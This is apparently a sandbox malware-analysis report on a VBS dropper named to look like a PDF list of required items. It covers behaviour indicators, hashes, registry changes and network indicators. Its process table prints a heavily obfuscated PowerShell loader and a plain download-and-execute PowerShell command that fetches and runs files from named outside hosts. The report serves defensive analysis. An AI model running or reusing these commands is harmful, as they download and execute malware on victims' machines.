| File name: | Listofrequireditemsandservicespdf.vbs |
| Full analysis: | https://app.any.run/tasks/0ad318d2-7890-4994-bded-2da034e460ce |
| Verdict: | Malicious activity |
| Analysis date: | December 09, 2024, 12:51:16 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (2809), with CRLF line terminators |
| MD5: | 6A1532E54AB9FEDB82542F991006757B |
| SHA1: | 65DA5DF89D4AB96B3CF60FB672AB95457D820F76 |
| SHA256: | 69B5E12BF204755BCA90DDD93646D41111E90C6FFC1E3B2F84D6070FA780C4AC |
| SSDEEP: | 48:Ehw0jDA4iPqN4I4QdqFAg444dXAcOdu4d/Cku2OiQl:0IJQ42vRopsv |
MALICIOUS
Executes malicious content triggered by hijacked COM objects (POWERSHELL)
- powershell.exe (PID: 5752)
SUSPICIOUS
Runs shell command (SCRIPT)
- wscript.exe (PID: 2148)
- wscript.exe (PID: 2072)
Uses WMIC.EXE to obtain physical disk drive information
- wscript.exe (PID: 2072)
Likely accesses (executes) a file from the Public directory
- wscript.exe (PID: 2072)
- powershell.exe (PID: 3984)
- EXCEL.EXE (PID: 1596)
The process executes VB scripts
- powershell.exe (PID: 3984)
Downloads file from URI via Powershell
- powershell.exe (PID: 3984)
Reads data from a binary Stream object (SCRIPT)
- wscript.exe (PID: 2072)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 2072)
- wscript.exe (PID: 2148)
Gets or sets the security protocol (POWERSHELL)
- powershell.exe (PID: 5752)
- powershell.exe (PID: 3420)
Starts process via Powershell
- powershell.exe (PID: 3984)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 5752)
- powershell.exe (PID: 3420)
Uses sleep to delay execution (POWERSHELL)
- powershell.exe (PID: 5752)
- powershell.exe (PID: 3420)
Converts a specified value to a byte (POWERSHELL)
- powershell.exe (PID: 3420)
INFO
The process uses the downloaded file
- wscript.exe (PID: 2148)
- powershell.exe (PID: 3984)
- wscript.exe (PID: 2072)
- EXCEL.EXE (PID: 1596)
Reads security settings of Internet Explorer
- WMIC.exe (PID: 4544)
Disables trace logs
- powershell.exe (PID: 3984)
Creates or changes the value of an item property via Powershell
- wscript.exe (PID: 2072)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 5752)
- powershell.exe (PID: 3420)
Checks proxy server information
- powershell.exe (PID: 5752)
Converts byte array into ASCII string (POWERSHELL)
- powershell.exe (PID: 5752)
- powershell.exe (PID: 3420)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 3420)
Gets data length (POWERSHELL)
- powershell.exe (PID: 3420)
Manual execution by a user
- powershell.exe (PID: 3420)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
132
Monitored processes
11
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1596 | "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Public\vp2cdieg91bq58j.xlsx" | C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 16.0.16026.20146 Modules
| |||||||||||||||
| 2072 | "C:\WINDOWS\System32\WScript.exe" "C:\Users\Public\o3mg9qzu.vbs" | C:\Windows\System32\wscript.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 2148 | "C:\WINDOWS\System32\WScript.exe" C:\Users\admin\Desktop\Listofrequireditemsandservicespdf.vbs | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 2216 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3420 | "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Reedmaker;Unchanneled (Multiplum 'I sPlTFoARhR Ht S-Rus nLSte .E yp A U.4');Unchanneled (Multiplum 'Fr$T GOvlGioP.bHyaSnLF.: HkNeIA.dHud AI.eEe SKo=Au(Mat ,EPoSimtFu-MoPTuATrtMah E Ho$ pB EM nf s DiP.OFoNFosNeA LStD,iEsar e)') ;Unchanneled (Multiplum ' V$SkgUdlKao LbAdAI.l o:HyRSpOT,mO B mEClSUn=B,$VogBalG,ORabbiaJolS :AnIMoo oDTeiP.dPrS ,+Fe+Ri%Ki$ SS CJMiUshSPrkS.eDeMtaiAsKNoKrueRiLAn. CCChoU.UDenStT') ;$Knysten=$Sjuskemikkel[$Rombes]}$Balletkorpsets=301384;$Afledtes=28316;Unchanneled (Multiplum 'Fo$Rhg oLMioMubnoaC,lAu: TaMoufrgBoUR sLitFos.eNDed AScg , V.= u pag Be,stBa-UnC,ooSkN Mt SELeNReT.e Pa$,ep aE NSuS ,i SOAsnO,s.baFrL BdSkEpaR');Unchanneled (Multiplum 'Sk$Drg.elJoo,ab taKol S:SeRDkigep PiE eJunRyiSlsSktBu A=Re l[ReS ,y ys MtLre Smhe.lnCGao an v Ce .rHjtNu]Te:Se:etFGarMaoKhm cB.la SsRee .6Un4faS GtaarSui OnTrg r(F $ A Ju UgThususSut HsD nAndAtaTug m)');Unchanneled (Multiplum 'Co$HaGsklFloInbDeaTrLSa:SiEPel ,eD kV T RFuo it eo.KIcN,uIAckE kHiES,rHi In=Mi S [ rSOtyM SOvtH eSnmSp.deTA eAnx ,t.f. E iNnaC roLudBlI,onIng.e] e:b :AgAFjSS C I KISk.BegKleS,t Ns KTPeRS I Sn RG b( x$ .R ,IMapMaiSteS NLeImaSDyTU )');Unchanneled (Multiplum ' .$ScgArlp,oToBO a hLGr:Opb PuT,zDiZ.ma,rRSydFo=Em$DyE el Te rK TR,R oOMaTTrEU.K.hN BISyK.lKSpEF r C. Ns uB BDis FTWurPrIFoNbiGFu( .$ FBR aGeL nLDie nTShK.oOCrRNepKrS VESutJ,sI ,,a$HaAUnf.eLSteluDC.tL ed.sE )');Unchanneled $Buzzard;" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3984 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function DownloadAndRun([string]$url, [string]$destination) { Invoke-WebRequest -Uri $url -OutFile $destination ; Start-Process -FilePath $destination -Wait };DownloadAndRun -url 'https://www.astenterprises.com.pk/it/it.vbs' -destination 'C:\Users\Public\o3mg9qzu.vbs';DownloadAndRun -url 'https://www.fornid.com/ab/List%20of%20required%20items.xlsx' -destination 'C:\Users\Public\vp2cdieg91bq58j.xlsx' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4264 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4544 | wmic diskdrive get caption,serialnumber | C:\Windows\System32\wbem\WMIC.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4840 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5588 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
28 927
Read events
28 692
Write events
216
Delete events
19
Modification events
| (PID) Process: | (3984) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids |
| Operation: | write | Name: | VBSFile |
Value: | |||
| (PID) Process: | (3984) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xlsx\OpenWithProgids |
| Operation: | write | Name: | Excel.Sheet.12 |
Value: | |||
| (PID) Process: | (3984) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached |
| Operation: | write | Name: | {33154C99-BF49-443D-A73C-303A23ABBE97} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF |
Value: 0100000000000000C2D9C71B394ADB01 | |||
| (PID) Process: | (1596) EXCEL.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling |
| Operation: | write | Name: | 1 |
Value: 01D014000000001000B24E9A3E02000000000000000600000000000000 | |||
| (PID) Process: | (1596) EXCEL.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\EXCEL\1596 |
| Operation: | write | Name: | 0 |
Value: 0B0E10688B4C6DA7C4504B875400E102FE75B9230046D4B3F0FE91C7D2ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511BC0CD2120965007800630065006C002E00650078006500C51620C517808004C91808323231322D44656300 | |||
| (PID) Process: | (1596) EXCEL.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | en-US |
Value: 2 | |||
| (PID) Process: | (1596) EXCEL.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | de-de |
Value: 2 | |||
| (PID) Process: | (1596) EXCEL.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | fr-fr |
Value: 2 | |||
| (PID) Process: | (1596) EXCEL.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | es-es |
Value: 2 | |||
| (PID) Process: | (1596) EXCEL.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | it-it |
Value: 2 | |||
Executable files
1
Suspicious files
14
Text files
10
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5752 | powershell.exe | C:\Users\admin\AppData\Roaming\Pharmacists201.Str | text | |
MD5:DBC57B25AD339954CEB6C4FED816E2A1 | SHA256:5F7AD2BAFBD491F7CD57D84B036CFA1A4DC1875FF66904FABB6DEE7FCD99A7A8 | |||
| 5752 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_y1yullb0.vza.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3984 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uvowpgov.jqc.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3984 | powershell.exe | C:\Users\Public\o3mg9qzu.vbs | text | |
MD5:8B310411B49580AE8D67A2ED916BAD17 | SHA256:3CF4BCB55CD5A352B25C180ACCE977E652863D8ED09D07335AED81DBC56520F2 | |||
| 3984 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lay2l3g3.ynm.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1596 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\82EC0184-6B51-4F1D-9BFD-2997B36B3A07 | xml | |
MD5:4EDAD0FE264DFF95851824E3266DCCDA | SHA256:7DE1854ACC89E8835CC7D9F7F10DB7A0667638F4C313E5FAF7B25C729727686B | |||
| 1596 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\vp2cdieg91bq58j.xlsx.LNK | binary | |
MD5:35E1029FE6A783308A779D396386DD27 | SHA256:4E0B3FA725C04E4247635B9C1055F3F9EEB2371598DE70CC105DF4EBB9A390D3 | |||
| 1596 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:8576C475F70564BF47A4E964C1028C4F | SHA256:D86F23D0DB736C01DD3658C3ACA6B4A275E1661E85E05FEE784E634C3C197451 | |||
| 1596 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres | binary | |
MD5:0A9DA8DEE916C714E76C011A6710BBE1 | SHA256:FAFE9303E819236C47E4D02D2E50A48F6B03489BC8C4B02840C405DBF51893E7 | |||
| 1596 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStoreV3\Excel\ASkwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDBfTnVsbAA.S | binary | |
MD5:1E9F98CD8DA537DB507684D8C3F8BC17 | SHA256:39C203D7B1AEA8CC6FA3E636A011BA26297AEEA2369D72636ED5723F619962EE | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
27
DNS requests
12
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | POST | 200 | 13.89.179.11:443 | https://self.events.data.microsoft.com/OneCollector/1.0/ | US | — | — | whitelisted |
— | — | GET | 200 | 52.123.243.209:443 | https://ecs.office.com/config/v2/Office/excel/16.0.16026.20146/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=excel&Platform=win32&Version=16.0.16026.20146&MsoVersion=16.0.16026.20002&SDX=fa000000002.2.0.1907.31003&SDX=fa000000005.1.0.1909.30011&SDX=fa000000006.1.0.1909.13002&SDX=fa000000008.1.0.1908.16006&SDX=fa000000009.1.0.1908.6002&SDX=fa000000016.1.0.1810.13001&SDX=fa000000029.1.0.1906.25001&SDX=fa000000033.1.0.1908.24001&SDX=wa104381125.1.0.1810.9001&ProcessName=excel.exe&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&LicenseCategory=6&LicenseSKU=Professional2019Retail&OsVersion=10.0&OsBuild=19045&Channel=CC&InstallType=C2R&SessionId=%7b6D4C8B68-C4A7-4B50-8754-00E102FE75B9%7d&LabMachine=false | US | binary | 370 Kb | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | DE | binary | 1.01 Kb | whitelisted |
4308 | svchost.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | DE | binary | 1.01 Kb | whitelisted |
— | — | GET | 200 | 107.161.23.150:443 | https://www.astenterprises.com.pk/it/it.vbs | US | — | — | unknown |
— | — | POST | 200 | 20.42.73.30:443 | https://self.events.data.microsoft.com/OneCollector/1.0/ | US | binary | 10 b | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.19.217.218:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 973 b | whitelisted |
— | — | GET | 200 | 52.109.28.46:443 | https://officeclient.microsoft.com/config16/?lcid=1033&syslcid=1033&uilcid=1033&build=16.0.16026&crev=3 | GB | xml | 177 Kb | whitelisted |
4308 | svchost.exe | GET | 200 | 2.19.217.218:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 973 b | whitelisted |
— | — | GET | 200 | 209.124.66.28:443 | https://www.puneet.ae/it/Kontrastrigt.mso | US | text | 429 Kb | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4308 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4308 | svchost.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 2.19.217.218:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4308 | svchost.exe | 2.19.217.218:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
3984 | powershell.exe | 107.161.23.150:443 | www.astenterprises.com.pk | RAMNODE | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
www.astenterprises.com.pk |
| unknown |
settings-win.data.microsoft.com |
| whitelisted |
www.puneet.ae |
| unknown |
www.fornid.com |
| unknown |
officeclient.microsoft.com |
| whitelisted |
ecs.office.com |
| whitelisted |
messaging.lifecycle.office.com |
| whitelisted |